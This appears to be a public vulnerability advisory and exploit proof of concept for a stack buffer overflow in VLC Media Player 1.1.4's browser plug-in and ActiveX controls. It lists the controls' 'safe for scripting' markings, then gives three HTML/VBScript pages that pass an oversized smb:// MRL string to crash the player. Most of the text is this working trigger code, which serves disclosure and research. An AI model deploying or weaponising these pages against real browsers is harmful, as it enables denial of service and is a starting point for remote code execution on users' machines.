source: https://www.securityfocus.com/bid/44909/info
VLC Media Player is prone to a remote stack-based buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data.
Attackers could exploit this issue to execute arbitrary code in the context of the affected application. Failed exploit attempts will likely cause denial-of-service conditions.
Versions prior to VLC Media Player 1.1.5 for Windows are vulnerable.
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VLC Multimedia Plug-in and/or Activex 1.1.4 MRL handler remote buffer overflow
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.altervista.org/
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Note that the activex {9BE31822-FDAD-461B-AD51-BE1D1C159921} is marked as follow:
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data
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Note that the activex {E23FE9C6-778E-49D4-B537-38FCDE4887D8} is marked as follow:
RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: True
IDisp Safe: Safe for untrusted: caller,data
IPersist Safe: Safe for untrusted: caller,data
IPStorage Safe: Safe for untrusted: caller,data
Tested on:
Windows 7 professional full patched against Firefox 3.6.11
Windows 7 professional full patched against Internet Explorer 8
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Plug-in Version:
<html>
<embed type="application/x-vlc-plugin" MRL="smb://Something.com@www.Something.com/#{aaaaaaaaaaaaaaaaaaaaaa}"></embed>
</html>
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Activex {9BE31822-FDAD-461B-AD51-BE1D1C159921} version:
<html>
<object classid='clsid:9BE31822-FDAD-461B-AD51-BE1D1C159921' id='test'></object>
<script language = 'vbscript'>
buff = String(500, "A")
test.MRL = "smb://Something.com@www.Something.com/#{" & buff & "}"
</script>
</html>
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Activex {E23FE9C6-778E-49D4-B537-38FCDE4887D8} version:
<html>
<object classid='clsid:E23FE9C6-778E-49D4-B537-38FCDE4887D8' id='test'></object>
<script language = 'vbscript'>
buff = String(500, "A")
test.MRL = "smb://Something.com@www.Something.com/#{" & buff & "}"
</script>
</html>
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